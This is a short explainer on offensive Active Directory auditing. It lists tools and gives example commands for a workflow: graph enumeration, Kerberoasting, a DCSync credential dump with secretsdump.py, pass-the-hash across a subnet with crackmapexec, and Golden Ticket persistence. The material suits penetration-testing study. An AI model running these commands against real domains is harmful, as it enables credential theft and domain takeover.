What tools and techniques are used for offensive Active Directory auditing?

BloodHound, SharpHound, PowerView, CrackMapExec, ADRecon, and Impacket provide the core data needed for offensive AD auditing, while techniques such as ACL enumeration, Kerberoasting, DCSync, and DCShadow turn that data into exploitable paths. **Step‑by‑step workflow** 1. **Domain map** – Run `SharpHound` with `-CollectionMethod All` to harvest objects, groups, and ACLs. ```bash sharphound -c All -d example.com -o ./bloodhound ``` 2. **Permission dump** – Use PowerView to list privileged ACEs. ```powershell Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.IdentityReference -match "Domain Admins"} ``` 3. **Kerberoasting** – Extract service tickets with `Invoke‑Kerberoast`. ```powershell Invoke-Kerberoast -OutputFile tickets.kirbi ``` 4. **Credential replication** – Perform a DCSync with `secretsdump.py` or `Invoke‑DCShadow`. ```bash secretsdump.py -just-dc USER:PASSWORD@dc01.example.com ``` 5. **Lateral movement** – Validate pass‑the‑hash or SMB exec via `crackmapexec`. ```bash crackmapexec smb 10.0.0.0/24 -u Administrator -H a1b2c3d4e5f6 ``` 6. **Persistence testing** – Simulate DCShadow or Golden Ticket creation using `Rubeus`. **Tool comparison** | Tool | Primary Use | Notable Flags/Modules | |------|-------------|-----------------------| | BloodHound/SharpHound | Graph‑based enumeration | `-c All`, `-d ` | | PowerView | AD PowerShell enumeration | `Get-NetUser`, `Get-ObjectAcl` | | CrackMapExec | SMB/WinRM brute & exec | `-u`, `-p`, `-H` | | Impacket (secretsdump) | DCSync, LSASS dump | `-just-dc` | | Rubeus | Kerberos abuse | `kerberoast`, `golden` | **Gotcha:** Many production domains disable Advanced Auditing on DCs, so event‑ID 4662 or 4624 may be missing; enable "Audit Directory Service Access" and "Audit Logon" before starting offensive AD work.